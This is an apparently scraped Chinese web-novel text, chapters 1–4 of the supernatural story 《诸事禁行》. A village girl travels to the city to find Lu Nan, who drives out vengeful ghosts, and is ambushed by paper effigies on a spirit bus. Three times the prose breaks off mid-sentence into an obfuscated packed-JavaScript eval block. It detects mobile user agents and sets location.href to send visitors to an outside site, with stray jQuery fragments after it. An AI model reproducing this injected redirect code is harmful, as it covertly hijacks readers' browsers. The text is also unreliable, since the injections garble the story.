《诸事禁行》 1. 纸人宅 1 吱嘎作响的老旧公交车停靠在路边,徐歌把额前微湿的短发别向耳后,拖着被捆绑得臃肿沉重的行李,艰难地从车门的缝隙中挤了下来。 在这个繁华的城市里,这辆破破烂烂的公交车似乎比徐歌更局促,待她下车后,公交车在她身后喘了两口粗气,就迫不及待地摇晃着开走了,哪怕是剩下的尾气也瞬间被这座城市的喧嚣吞没。 徐歌是从偏远的太平村来的。尽管坐的是最便宜的公交,目的地却将是这座城市里最好的房子。这全托了陆南的福。这个五年前离家闯荡的少年,前两日忽然寄来信,说自己买了了一处特别好的房子,招呼徐歌一家都搬来一起住。 “谁说捡来的孩子没出息?”爸妈笑得合不拢嘴,却又一时舍不下村里的老武馆,便让徐歌先行一步探探路。 徐歌攥紧写着地址的信纸,拖着五花大绑的行李边问边走。街道两旁光怪陆离:红彤彤的“长春肉店”招牌、飘着酒香的“胖子酒馆”、橱窗里点缀着精致奶油的“美琦蛋糕店”,还有那吆喝着“一块钱猜你姓”的流动算命摊……所有这些,都让这个初次闯入大城市的乡下姑娘眼花缭乱。 从田间地头长起来的徐歌,进城的次数屈指可数,遑论恒盛市这样数一数二的繁华地段。在纵横交错的街巷中没走多远,她便彻底迷失了方向。 “这位小友,去万翠公馆,走西边那条道!”一个戴着巨大圆形墨镜的男人大大咧咧地蹲在路边对着徐歌喊道。 徐歌愣了一下,低头看了眼手上的信纸,警惕地抬头:“你怎么知道我要去万翠公馆?” 男人慢悠悠地推了推墨镜:“人有三不知,是福来不知,祸来不知,死时不知——有钱难买早知道。今日你我有缘,来一卦如何?” “不算。”徐歌干脆地拒绝。 “哦?”男人饶有兴致,“我连你去哪都算出来了,还怕我给你算不准?” “因为我没钱。”徐歌诚实回答。 “……钱嘛,可以先欠着。”男人不以为忤,慢吞吞地站起了身。 男人慢悠悠地站起来,徐歌才发现对方十分高挑,他抖了抖那条写着“两元问道解迷津”的旗子,煞有介事地围着徐歌端详了两圈,伸手拍了拍徐歌的肩膀。 ——仿佛体内有什么无形的东西悄然断裂,又在下一秒被虚空中无形的手接驳如初。但这感觉模糊而渺远,让人无法捕捉。 “嗯……”男人沉吟片刻,“小友这是要搬家?” 徐歌把那诡异感抛诸脑后:“对,锅碗瓢盆都在这里了。” “好力气!”男人赞叹,转而语气却沉了下来,“不过,听贫道一句劝,今天,诸事禁行呐。” 徐歌眨眨眼:“那我晚上找个桥洞凑合一宿,明天再搬。” “明天,诸事禁行。” “后天?” “诸事禁行。” “……大后天?” “诸事禁行。” “……” “直说了吧,”男人压低声音,“从今往后,你都走背运。想改命,就打这个名片上的电话。”他飞快掏出一张纸片。 徐歌一副遇到骗子的表情转身就走。 “哎哎别走啊别走!”男人几步追上,不容分说地把名片塞进了行李堆的缝隙里。 “都说了没钱!你再塞我可掀你摊子了!”徐歌费力地想从那堆锅碗瓢盆里捞出那张纸片还给他。 “塞张名片又不收钱!”男人锲而不舍,“多条路,多个指望!我们是专业的!” 等徐歌好不容易从行李山中直起身,名片早已不见了踪影,而那男人连同他的简陋小摊,早已消失在街角。 徐歌望着那空空如也的路边,蹙了蹙眉:“真是莫名其妙……算了,先找陆南。” 她拖着笨重的行李,按照墨镜男指的方向,拐进了西边一条狭窄的胡同。巷子深处光线黯淡,周遭是疏落低矮的老旧建筑。就在徐歌开始怀疑那男人胡乱指路时,一块半掩在肮脏垃圾桶后的旧牌子映入眼帘——上面歪歪扭扭地写着四个暗淡的字:“万翠公馆”。字迹几乎被污渍和垃圾桶遮了大半,她使劲辨认才看清。 牌子旁边是一扇锈迹斑斑、油漆剥落的铁门,门后透出一片更为破败的老居民区景象。 徐歌再次核对手中的信,满腹狐疑:“这……真是万翠公馆?”和她想象中陆南信中描述的“好房子”简直一个天上一个地下。难道地址写错了?她反复确认牌子上确实是“万翠公馆”,不是什么“万翠公寓”或“千翠公馆”。 踌躇片刻,徐歌还是拖着硕大的行李包,费力地推开了那扇吱呀作响的铁门。 暮色四合,小区的空地上只有零星几个老人,摇着蒲扇在稀疏的树荫下闲坐,低语声细碎不清。 徐歌转了半晌也没找到明显的楼号标志。瞥见一个男人坐在墙边的电动三轮上发呆,她赶紧上前:“大哥,麻烦请问一下,八号楼在哪儿?” 那男人耳朵上夹着根皱巴巴的烟卷,目光空洞地望着远方,似乎并未留意身旁多了一个问路人。他兀自拧动电门,小三轮就噌地一下蹿了出去。 当然他也没注意到徐歌的脚离车轱辘很近,走的时候还从徐歌的脚上碾了过去。 “……”徐歌瘪了瘪嘴没叫出声来。 徐歌心道不能在人生地不熟的地方计较出麻烦事来,多一事不如少一事。 “算了……”她拖着行李转向树荫下的一位老人,提高声音喊道:“爷爷!您知道八号楼在哪里吗?” “咹?”老人耳背,听不清。 “八——号——楼!”徐歌一边提高嗓门一边腾出手来比了个八。 “哦——八号楼啊!”老人恍然大悟,抬起枯瘦的手指了指徐歌身后一栋灰扑扑的小楼,“这不就是嘛!” “哦哦!谢谢您啊!” 顾不上确认老人是否听见了感谢,徐歌把行李一股脑儿塞进了那栋楼的三单元入口。楼道狭窄陡峭,横七竖八堆放的杂物让本就不宽裕的空间更显逼仄。她的行李瞬间几乎塞满了楼道。徐歌踩着行李包攀上楼梯,用力将沉重的包裹往上拖拽。 包裹臃肿的身躯在墙上剐蹭,带下一片片剥落的墙皮。才拖上三层,徐歌就开始大喘气,她下意识想抓住旁边的铁质扶手歇口气。 手刚搭上去—— “哐镗——!” 一声刺耳的金属断裂声骤响,整段锈蚀的扶手竟然应声而落。徐歌被吓了一跳,整个人猛地向前倾去,万幸她反应极快,手掌重重拍在墙壁上,才稳住了身形,没跟着扶手一起栽下去。 算命男人那句“诸事禁行”不期然地撞入脑海。“怎么可能!”她甩甩头,驱散这不祥的念头,咬紧牙关,把行李一口气拖到了四楼。 锈迹斑斑的402号门就在眼前。门面上横七竖八、层层叠叠地贴满了各种开锁小广告:“精诚开锁”、“玉富开锁”、“阳光开锁”……鲜红的、黄色的、蓝底的字体在昏暗光线下异常扎眼。 徐歌的心一点点沉下去。陆南……真的住在这里吗?这与他信中描述的景象差距也太大了。 不管了,来都来了。徐歌深吸一口气,定了定神,抬手敲响了房门。 大不了……大不了回头去找桥洞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584094|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡好了。 就在这念头闪过脑际的瞬间,门内传来了细微的锁舌转动声——“咔哒”。门把手拧动,房门被人从里面缓缓拉开了。 两人看到对方后均是愣了一下。 徐歌面前是一张极为漂亮的脸,精致而深邃的眼睛,挺翘的鼻子与薄唇,还有那白到缺少一点人气儿的皮肤以及山根两侧的痣——居然真的是陆南,人长开了,个子也窜了这么多。 陆南同样看着徐歌,脸上的表情先是惊讶,然后浅色的眼瞳里露出欢喜。 “徐歌?是你吗?” 陆南的声音也变了不少,再加上一身简单的衬衫和他那柔和清俊的五官,整个人看起来温温柔柔的。 还没等徐歌回答,陆南就收敛了脸上的笑意,然后示意她往门外面站站:“你是怎么找到这里来的?” 徐歌疑惑地眨眨眼:“不是你前两天写信让我来的吗?” “……可这个月我还没有给你写过信。” “什么?!” “让我看看你收到的信。” 徐歌把手里的信递过去,那封信被她攥到现在已经变得皱巴巴的了。 递信的时候,徐歌顺便还往陆南身后的屋里瞥了一眼,里面黑洞洞的什么也看不清。不知有意还是无意,陆南拿着信侧身挡住她的视线,顺势将门轻轻带上了。 “这是你住的地方吗?”徐歌忍不住问了一句。 陆南一边耐心地展平信纸,一边回答道:“嗯……不是,我只是来这里暂住。” 陆南两只精瘦白皙的手腕上一圈圈缠着木质的手串,上面似乎还刻了一些看不懂的文字,徐歌听村里人讲,这种手串往往都有辟邪驱鬼的作用。 “你是什么时候收到这封信的?”陆南接着问道。 徐歌回想了一下:“大概五六天前吧,当时我们还纳闷你这个月怎么这么早就寄信来了。” 陆南走到楼道里的窗户跟前,就着傍晚微弱的天光开始阅读那张信。 整张信的字迹几乎能以假乱真,连遣词造句的习惯都模仿得惟妙惟肖,熟悉得让人心底发寒。 陆南一言不发地将信纸仔细叠好,收进外套口袋。再抬头看向徐歌时,脸上的表情转为温和的浅笑,仿佛刚才发生的一切只是微不足道的小插曲。他目光落在那一大堆行李上:“累坏了吧?一个人拖着这么多东西?” 徐歌摇了摇头:“还好,力气我有的是。” 陆南伸手掂了掂,里面立刻响起一阵叮当哐啷的碰撞声:“……这是……把家当都搬来了?” “家里带来的,能省一点是一点。”徐歌抿了抿嘴唇。 陆南无奈地笑了笑,提起那沉重的包裹:“走吧,我带你去找点吃的。” “不……不进这里看看吗?”徐歌疑惑地指向那扇紧闭的402房门。 话音未落—— 笃…笃…笃笃…笃…… 一阵短促、有节奏却又极其沉闷的敲击声,毫无征兆地从门内传来! 那声音非常清晰,仿佛不是通过空气震动传入耳中,而是直接叩击在脑海深处,清晰到徐歌瞬间头皮发麻。 屋里还有人?她猛地看向陆南。 然而陆南似乎对这声音浑然未觉,已经提着行李,踏下了第一节楼梯。他的脚步没有一丝停顿。 而那诡异的声音,也恰在徐歌询问出口的同时,戛然而止。 难道……又是错觉?徐歌甩了甩头,压下心底涌起的强烈不安,加快脚步跟了上去。 楼道里只剩下两人逐渐远去的脚步声,和那扇紧闭的、沉默的402房门。 2. 纸人宅 2 徐歌跟着陆南一路来到了附近的大排档,与那个昏暗破旧的楼道相比,大排档上人声鼎沸,喧嚣的热浪扑面而来,驱散了楼道带来的压抑。 “两笼包子,一盘风味茄子,一盘土豆丝,最好炒得脆一点。”六年不见,陆南还记得徐歌的口味。 可能是因为分别的时间有些长,点完了菜,二人无话。 徐歌往嘴里塞着土豆丝,看陆南低头编着不知道从哪里弄来的几股红线。 熟练地编好后,陆南又从上衣口袋里拿出一枚精致的铜钱,把它穿进了编好的红绳里,然后递给徐歌。 “这个送给你,保平安的。” 徐歌三两下把包子塞进嘴里,擦了擦手接过铜钱。 “你忘了家里有不少这种小玩意儿呢,只是我不怎么戴。”徐歌说道,她的身体一直很好,所以很少需要这种护身的东西。 面对此等不识货的徐歌,陆南轻笑着耐心介绍道:“这个是山鬼花钱,在庙里染了三年的香火,我刚请来呢,还没有认主,你拿去刚好。” 徐歌仔细端详这枚铜钱,它的确比家里寻常的铜钱大了一圈儿,做工也精致了不少,能认出红底上面刻着“山鬼”二字,除此之外还有一些看不懂的符号。毕竟是陆南给串的,她把红绳挂到了脖子上。 红绳编得很精巧,徐歌又看了看陆南手腕上缠的手串,指了指问道:“你现在在城里干什么工作呢?难不成是给人家做这种首饰?” 陆南慢悠悠地拿起杯子来喝了口热水,笑道:“你可以理解为,别人雇我在他们的房子里睡一觉,看看房子舒不舒服。” “城里人的工作这么奇怪?自己的房子都不自己住吗?” “可能人就是奇奇怪怪的吧。”陆南如此回答,带着他一贯的微笑。 遮遮掩掩的回答。 既然陆南愿意多说,徐歌也不再追问。只是她发现自己越发看不明白陆南的笑容,那里面隐藏着的内容,比她曾经以为的更多。 “对了,”徐歌从口袋里掏出一卷用橡皮筋绑起来的零钱,“这是爸妈让我捎给你的钱,你拿去。” 陆南微微睁大了眼睛,接着把徐歌的手推了回去:“我不缺钱的,你们不用给我钱。” “你每个月都给家里寄信,还在里面夹钱,”徐歌坚持道,“我们都知道你在外面干活不容易,你就权当这是我搬来这里存在你那里的生活费。” “不用,吃完了饭我就送你回去。” “为什么?”徐歌一下子从马扎上站起来。 陆南看着徐歌,说话还是轻声细语的:“因为最近我都要给雇主干活,没办法招待你呀。” “那我可以跟着你,我不会给你拖后腿的!” “我知道你很厉害,但是这个工作不可以跟着其他人的。” “来往车费很贵的你知不知道!”徐歌掏出了她压箱底的理由。 “……” “我给你付车费嘛。”陆南沉默几秒后说道。 “那这钱你拿着。”徐歌把那卷钱扔到了陆南怀里,又坐回了马扎上。 陆南只得默默地收下。 吃了一会儿后,大排档周围的路灯陆续亮起,恒盛市的路灯正好在七点半通电,而去往太平村的末班车也会在差不多的时间,经过大排档右边的车站。 本不应该让徐歌去坐末班车的,等她坐回到太平村可能就得凌晨了,可是陆南更不能留徐歌跟着他过夜,他不想让徐歌被“那个东西”盯上,这比连夜坐车危险多了。 正这样想着,远处一辆蓝色的公交车平稳地驶过来,玻璃后写着“恒盛市——太平村”。 “车到了,我送你上去吧。”陆南率先起身拿起行李,朝路上挥了挥手,示意公交车停靠。 徐歌这才不情不愿地站起来,她问陆南:“那你什么时候能回家看看?” 陆南把徐歌的行李塞进车里,回过头来安慰道:“等我忙完这一阵儿,我一定回去看你们。” “你每次都这么说。”徐歌低声咕哝了一句,她也知道陆南一直很忙,可是大老远赶过来就这么被打发回去还是有点不爽。 因为是末班车,上面没有多少人,售票员还采取微笑服务,从打开车门开始就微笑地盯着徐歌。徐歌呼出一口气,虽然折腾到现在一无所获,但好歹不用和行李一起被挤来挤去了。 把钱交给穿着红色制服的售票员后,徐歌选了一个靠窗的位置坐下。 公交车的门轻巧地关上,然后平稳地起步,徐歌莫名觉得有那么一丝不和谐的地方,那是只有坐车的人才能感觉出来的——公交车起步时没有感觉出发动机的抖动。 不愧是恒盛的公交车,起步就是平稳。徐歌最后得出这样一个结论。 陆南一直看着公交车越开越远,直到驶离自己的视线。 拿出手机看一眼时间,已经晚上八点了,眼见得到了干活的时间,陆南加快脚步往万翠公馆赶。 陆南离家之前,家里闯进来一个疯疯癫癫的人,爸妈留她吃了顿饭,还给她的口袋里塞了几个馒头。她当时一手捂着口袋里的馒头,一手指着陆南,咧嘴笑道:“情深不寿,慧极必伤——你活不了几年啦!” 徐歌听了这番话,抱着陆南就嚎啕大哭,任陆南怎么哄也哄不好。徐歌爸妈也被吓得不轻,打发走了疯子后他们就去找了这方面的大师打听,大师告诉他们,陆南的命格不好,他不仅是童子命,还是阴童子,生来多病多磨折,十八岁之前就会死去。要想活的久一点,就只能积功德。 怎么积功德?朋友给陆南指了条路,一个人,离家去恒盛街,那里有机缘。 十四岁的陆南对人间没有什么执念,能一路走到这里,对他来说已经够远了。只是他脖子上挂着这家人给他打的长命锁,也就是这把锁,才把陆南留在了人间。 活着已经是千般万般的不得已,只有死是遂他愿的,可是他在徐家活了这么大,受了那么多恩惠,笑了那么多次,就容不得他轻易地死了。血啊,肉啊,要一口ー口来还。 于是他踏上了那条求生之路——凶宅试睡,就是陆南找到的“机缘”,也是他现在的工作。 如果有人被杀或者自杀,都属于非正常死亡,而人在非正常死亡后就会在附近留有怨魂。不管生前是多么慈祥和蔼的人,死后的怨魂都没有与普通人沟通的能力,它们只保留了原始的本性,在附近作祟害人,甚至拉人下去做替死鬼,总之会给生者造成很大的困扰。 而他要做的就是驱逐这些怨魂。 徐歌找到他的时候,他正在研究402那间房的布局,402就是他今晚上要处理掉的阴宅。 402的房主生前是扎纸人的,如果是正常开店扎纸人还好,他却偏偏在住的地方扎纸人。 纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584095|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人容易吸引一些不干净的东西,和它们吃住都待在一起,身上会沾染上很浓重的阴气,败坏整个人的运势,重则家破人亡。只不过房主太穷了,平日里租不起店面,为了生计只得如此。 一开始房主侥幸地以为自己八字硬,不会受到影响,直到妻子生下智力缺陷的儿子后投河自尽,他才意识到,自己逃不脱。 可是又能怎么办呢。他只有这一门手艺,他还有个儿子得养活,和纸人住在一起说不定还能多活几年,总比在大街上几天就冻死饿死强啊。 于是他一直这么把傻儿子拖拉到成年,傻儿子能干,挣钱还给自己买上了一辆二手摩托。那天傻儿子骑着摩托说要出去玩,就再也没找回来。目击者都当时那个傻儿子一个劲儿地骑着摩托往西边跑,谁唤他也没反应。 房主是在半个月前死的,被发现的时候,他的尸体还和纸人手拉着手,场面非常诡异。 从那以后,402就时常传来不明不白的敲击声,还十分有节奏,就像在演奏歌谣一样,吓得附近的邻居都搬走了。 眼见得纸扎房的传闻越传越吓人,万翠公馆的开发商实在没了办法,这才联系的陆南。 徐歌的突然出现也令陆南很意外,不知道是谁伪装自己给家里写了信,引诱徐歌来到这里。 先不说写信的人怎么知道自己的行踪,在这里留下徐歌就是顺了那个人的意。阴宅这边的因果,掺和的越少越好,所以陆南才坚持把徐歌第一时间送回去。 二楼楼道里,陆南把徐歌弄下来的扶手捡到一边,打算明天处理好了阴宅再把它交给物业。 可当陆南爬到四楼时,却发现402的门被打开了。 不详的感觉瞬间在陆南心底升腾起来,他出门的时候明确地记得自己关了门,当时碍于徐歌在场,他并没有做一些其他的加固措施。 他三步两步进入屋里,发现屋子里摆放着的纸人全部不见了。 普通的怨魂没有离开房子的能力,而纸人出逃,说明房间里不只有房主的怨魂,还有一个更邪门的东西附身在纸人身上,而房主的死肯定也和那东西脱不了干系。 但这种东西一般不会无故出去,除非是跟上了某个人。 徐歌。 陆南只觉得脑子里一阵闷响,他掏出折成三角形的疾走符,蹲下塞到脚后跟的位置,然后直接从402的窗口一跃而下。 四周的景物在陆南眼里极速倒退,他灵活地在楼宇间跳跃穿梭。眼下他心急如焚,是自己低估了402的危险程度,只是一心想着不要让徐歌掺和这段因果,忽视了伪装过的邪祟可以骗过他的阴阳眼,居然草率地就那么送走了徐歌,反而让她落在了更危险的境地。 越是急切地想要挣脱这段因果,就被缠得越紧。 过了几分钟,陆南就到了大排档的位置,此时里面的人还没走净,陆南顾不上组织里的什么保密协议,当着那些人的面就从他们的头顶跃了过去。 还在拉大侃的几个人看到这幕,怀疑是自己吃饭嚼到菌子嚼出了幻觉,夹着菜的筷子都戳到了腮帮子上。 陆南一步不停地朝着末班车离开的方向狂奔,直到在路边的一片荒地旁,看到了徐歌蹲在路边的身影。 徐歌同样注意到了急切地赶过来的陆南,她从地上站起来,可怜巴巴地哭着对陆南说道: “你来救我了,我好害怕……” 3. 纸人宅 3 徐歌坐在车上,百无聊赖地看着窗外的景色,此时车已经出了市中心,正穿过一片郊区,窗外路灯灯光昏暗,万籁寂静,只有断断续续的虫鸣。 恒盛市真是个繁荣的地方,有那么多没见过的东西,可惜看起来自己和这里没缘分——不过能回到家里的武馆也挺开心的,虽然没客人没收入,但起码还能和老爹一起练练武刨刨地。 听村里的老人们说,她家的武馆祖上也是兴盛过的,当时四里八乡的人都来武馆拜师学艺,只不过后来是一年不如一年了。徐歌托着腮叹了口气,江湖八门中的挂门,祖上还是风光的镖师,但传到了徐歌这一代已经沦落的不成样子了。徐歌经常听父亲感叹:“时代变了啊。” 只是徐歌一家子都出奇地乐观,在吃了上顿没下顿的日子里依旧过得津津有味,徐家武馆也一直风雨无阻地开下去,哪怕老爹的学员只有徐歌和陆南两个——后来陆南离家就剩徐歌一个了。 从思绪中回过神来,公交车开进了一条陌生的荒野小道,此时好像连虫鸣都听不到了——是不是过于安静了?徐歌莫名觉得有些别扭,于是扭头去打量车上的乘客,这条道上四下没有路灯,车上也很暗,徐歌只能模模糊糊地看到前排乘客的后脑勺。 但这个后脑勺的形状……看起来薄薄的,还有棱有角的,很奇怪,就像是纸扎的一样。 这个念头一出来,那个乘客的头嗡地转动了一百八十度,一个惨白的纸人脸赫然出现,几乎擦到了徐歌的鼻尖。 “我靠!!!” 徐歌从座位上一下子弹到了过道上,与此同时,车上的其他“乘客”也已经变成纸人的样子,僵硬地扭头用一双双画出来的骇人眼睛盯着徐歌。 阴风骤起,车里的气温顿时变得极低,不是像冬天吹风那种停留在体表的冷,而是一种带来深入骨髓的战栗与不安的寒意。 徐歌估摸着,自己这是撞上不干净的东西了。她小时候喜欢听爸妈讲志怪故事,故事里经常说“阴风阵阵”,她当时就疑惑冷不都是一样的冷吗,怎么判断是阴冷的——现在她明白了。 徐歌的手正不自觉地发抖,她第一次从纸人的脸上看到了阴狠的表情,它们的眼睛死死盯着徐歌,齐刷刷直愣愣地从位子上起身,仿佛下一秒就要扑到徐歌身上。 这时徐歌才明白,她在上车后之所以感觉不到车辆的抖动,根本不是因为公交车质量好,而是整辆车都是纸扎的!只不过伪装的极其巧妙,连先天阴阳眼的陆南都没有第一时间识破。这也从另一个方面说明,自己遇上的这些邪祟肯定很凶。 徐歌尽全力保持着冷静,她跑到门旁使劲推了推车门,果然是打不开。纸人司机的手还在方向盘上,但是脑袋转了九十度瞪着她,十分诡异。 徐歌跑回行李旁边,一路粗略地数了数在场的纸人,加上用反光镜恶狠狠盯着自己的纸人司机,一共是7个。不过她记得之前车上应该还有个售票员,此刻并没有出现在车上。 …… “我在车上遇到了好多纸人,它们像是要吃了我一样,太恐怖了……”徐歌用手抱着胳膊,满脸泪痕地说道,“你可算来了,我等你好久了……” “你逃出来后,车往哪边开了?” 徐歌像是没有想到陆南会问这个问题一般卡了一下壳,然后颤颤巍巍地指了指东边的那条路:“应该是这边……” 修身的短款半袖,牛仔短裤,还有一头到下巴的黑色短发,都是徐歌白天的打扮,可是,唯独少了一样东西。 “我白天给你的花钱,到哪里去了?” 那种东西可以变出一样的脸,一样的衣服,可唯独一件东西它变不出,那就是灵力强大的法器。 “我没戴不行吗?”徐歌皱起了眉毛,“你怎么这么奇怪,我很害怕啊,快带我离开这里啊!” “当然会带徐歌回去的,”陆南拍拍徐歌的肩膀,“你就算了。” “你什么意思?” 它们盯上徐歌也不过几个小时的时间,自然学不出徐歌的样子。 那张拍在“徐歌”肩膀的符咒猛地爆燃起来,它在火焰中尖叫着,原本清丽的脸庞也逐渐变得扭曲而狰狞,最后变成了一张纸人脸。 鲜艳的红色制服的纸人在火焰里一边燃烧,一边恶毒地咒骂着陆南,后者没有理会这些,只是继续朝着车的方向赶去。 …… 徐歌紧盯着那些纸人,与它们沉默地对峙着。昏暗的光线衬得纸人脸上的腮红鲜艳的像是要滴出血来。 它们像是忌惮徐歌身上的某样东西一样,迟迟没有发起攻击。徐歌推测应该是陆南白天给的山鬼花钱起到了护身的作用。 但一直这样下去,这个诡异的公交车还不知道给她带到什么地方,得想个办法逃出去。 徐歌将目光移向旁边的大包行李,她趁着纸人没有对自己发起攻击的空档,埋头从行李中翻出来一把菜刀。 还好搬家带的东西全乎,还真让她翻出来了。 徐歌抬头,原本在远处盯着她的纸人,好像离她更近了。她没再多想,赶紧用菜刀劈向了了公交车的窗户——无论如何先跑出去再说。 但是菜刀劈上去的瞬间,徐歌就感觉那个手感非常的奇怪,就像接触到很有韧性的纸一样,窗户随着菜刀的劈砍变形,收回来的时候没有一点破损。 差点忘了,纸是很难剁开的,那就只能尝试换一种方式了。 徐歌每眨一次眼,那些阴恻恻的纸人就离她近一步,于是她拼命控制着自己眨眼的冲动,让视线保持在纸人身上,防止它们在自己视线之外接近自己,然后转劈而划,试图像划纸一样把窗户划开。 还是没用,难道非得把菜刀炼成法器才行?纸人都要摸到她的身上来了,徐歌的心脏狂跳不已,她只能拼命地贴向窗户,尽量保持着和它们的距离。 突然间,徐歌灵光一闪,竖着拿起脖子上的花钱开始割那扇窗户。 纸人见此,竟有几个上前撕住了徐歌的衣服把她往后拖。 既然是这个反应,那就证明花钱有用!徐歌加重了手下的力气,她欣喜地看见花钱真的在窗户上破开了一道小口子。 车外带着暖意的风从这道口子里挤进来,徐歌顿时有了逃出去的希望。她松开花钱,然后用手捅进那道缝隙,奋力一撕,伴随着刺啦一声,暖风迎面而来,徐歌成功地破开了那扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584096|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗户。 太好了! 徐歌从窗户一跃而出,与此同时那两个拽着她衣服的纸人也被她带了出来。徐歌在地上打了两个滚儿,大着胆子把那两个纸人拎起来,从窗户砸回了车里。 这时候她发现,其中一个纸人居然顺走了她的花钱!花钱在那纸人的胳膊上挂着,而后那个纸人突然由内向外爆了开来! 寒意从她接触纸人的右手丝丝缕缕地渗进皮肉,然后顺着血管通往全身,徐歌感觉人中一热,伸手去摸,原来是有鼻血流了出来,徐歌有点后怕,这一次算她身体好,如果再被纸人碰上一次两次的,可能就阴气入体暴毙荒野了。 花钱掉在车里,回去拿可能就没有再出来的可能了,徐歌只得头也不回地往恒盛街的方向跑。只要跑回去,剩下的都好说。 只是跑着跑着,那种阴冷的感觉又回来了。徐歌看见原本在她身后的那辆公交车,居然又出现在了她的前方。 这时候她才看清楚,这辆车的车牌号是“恒G00000”。 民间一直有个说法,因为“零”谐音“灵”,所以如果有带一串零的车牌,那么就标志着这辆车很可能就是“灵车”。要是一不小心坐上这种“灵车”,就会被载到地狱。 与此同时,那些纸人从车门里走出来,还有几个是从那扇被徐歌破开的窗户里爬出来的,徐歌见此转身就要再跑,不曾想那个司机纸人不知何时站在了她的身后,徐歌一个转身差点与他撞了个满怀。 徐歌只得趔趔趄趄地向后退去,再回过神来的时候,她已经被纸人包围了。没有了山鬼花钱的阻拦,它们正以肉眼可见的速度缩小包围圈。 真的被那个算命的说中了,自己就不应该来恒盛,不应该去问路,不应该坐这个车。 ……真的是诸事禁行啊。 徐歌感到纸人身上的阴气是如此之重,它们只是向徐歌逼近,徐歌就不禁打心底里感到了绝望。 四下寂静,仿佛整个世界的声音都被隔绝了。只有心跳声敲在耳膜上,咚,咚,咚…… 徐歌心道在这个地方死去会有人发现吗? 爸,妈,徐歌尽力了,真的跑不掉。还有陆南应该会自责吧,徐歌也不赖他,其实主要是自己没听那个道士的话,是自己太倒霉了…… 纸人的脸在徐歌的眼前不断放大,逐渐占据了她的全部视线,徐歌感到越来越冷,周围的一切似乎都慢了下来,但她没有要闭眼的意思,从小打针她也是喜欢盯着针头扎进自己的胳膊,或她死也要睁着眼睛明明白白地死。 …… 好像有什么的尖叫声由远及近地传入徐歌的耳朵,那尖叫声越来越多,越来越清晰,最后把徐歌的意识拉了回来。 徐歌定了定神,发现居然是那些纸人在燃烧,紧接着一双带着串珠的手抓到离她最近的纸人脑袋上,然后生生地将那个纸人竖着撕成了两半! 凄厉的尖叫伴着黑烟从纸人的“尸体”中散出来直钻徐歌的脑仁,陆南的食指和中指间正夹着一张燃烧着的黑色符咒,随后符咒被扔在了那具“尸体”上,腾地一声,深蓝色的火焰在上面爆开,两半的纸人就在这火焰里化成灰烬再也没了声响。 4. 纸人宅 4 徐歌感到手里一沉,低头看去,原来是那枚山鬼花钱,被陆南从车里找回来又塞到了她的手里。 此时暖意又一点点回到了徐歌身体里,徐歌感觉到自己终于恢复了行动能力。或许是因为花钱自带灵力,从火焰中被带出来时,连上面的红绳都是完好的。 她把花钱挂回到自己脖子上,脱口道:“我的行李也在车里。” 陆南见徐歌从被魇住的状态中回转过来,第一句还在挂念她的行李,而且还要往被他点燃的纸车上跑,赶忙拦住她把她带到了一旁。 陆南有些哭笑不得:“你在这儿待着,我去找。” 其实她在那一瞬间是真的感觉行李里有什么重要的东西,下意识就做出了这个行为。难道是心疼再置办一遍的钱心疼成这样?徐歌看着那熊熊燃烧的纸车在心里琢磨。 徐歌的脸被她胡乱抹鼻血抹得花花的,但是整个人看起来还比较有精神,她蹲在不远处,看着纸车烧成的灰烬在空中打着旋儿飞走。 纸车上的火焰此时已经熄灭了,但徐歌清楚地记得,陆南点燃的那不同寻常的蓝色火焰,给人的感觉是冰冷的,给人的感觉好像那燃烧着的不是火焰,而是是魂魄一类的东西。 这时陆南从一旁走过来,蹲在了徐歌的身边。 “行李大部分都烧没了……” 徐歌站起身,手心里攥着花钱对着陆南的胳膊卯了一拳。 “啊。”陆南捂着胳膊,对着徐歌无辜地眨了眨眼。他手腕上缠着的那串朱砂手串,在月光下泛出红色的光泽,十分好看。 “嗯,确认一下你是不是纸人变的来骗我,”徐歌挑了挑眉毛,“看来不是。” 其实徐歌就只是想打一拳,没别的。不是因为自己的行李被烧了,也不是因为他把自己送到了这辆灵车上,只是因为陆南这几年居然干的是这么危险的工作,还一脸风轻云淡的样子不肯告诉自己。 “对不起……”陆南垂下眼,纤长的睫毛投下一片阴影,“是我没留心那辆车的异样,我本想着什么都不告诉你能让你避开这些东西。” 徐歌看着陆南山根两侧的痣,叹了口气,搓了一把陆南的头发道:“行吧,罚你回去给我讲清楚到底怎么回事儿。” “好。”陆南认真地答应道。 “不过,我在里面找到了一张名片,”陆南说着展示了躺在他手心的那张名片,“你是怎么拿到这东西的?” 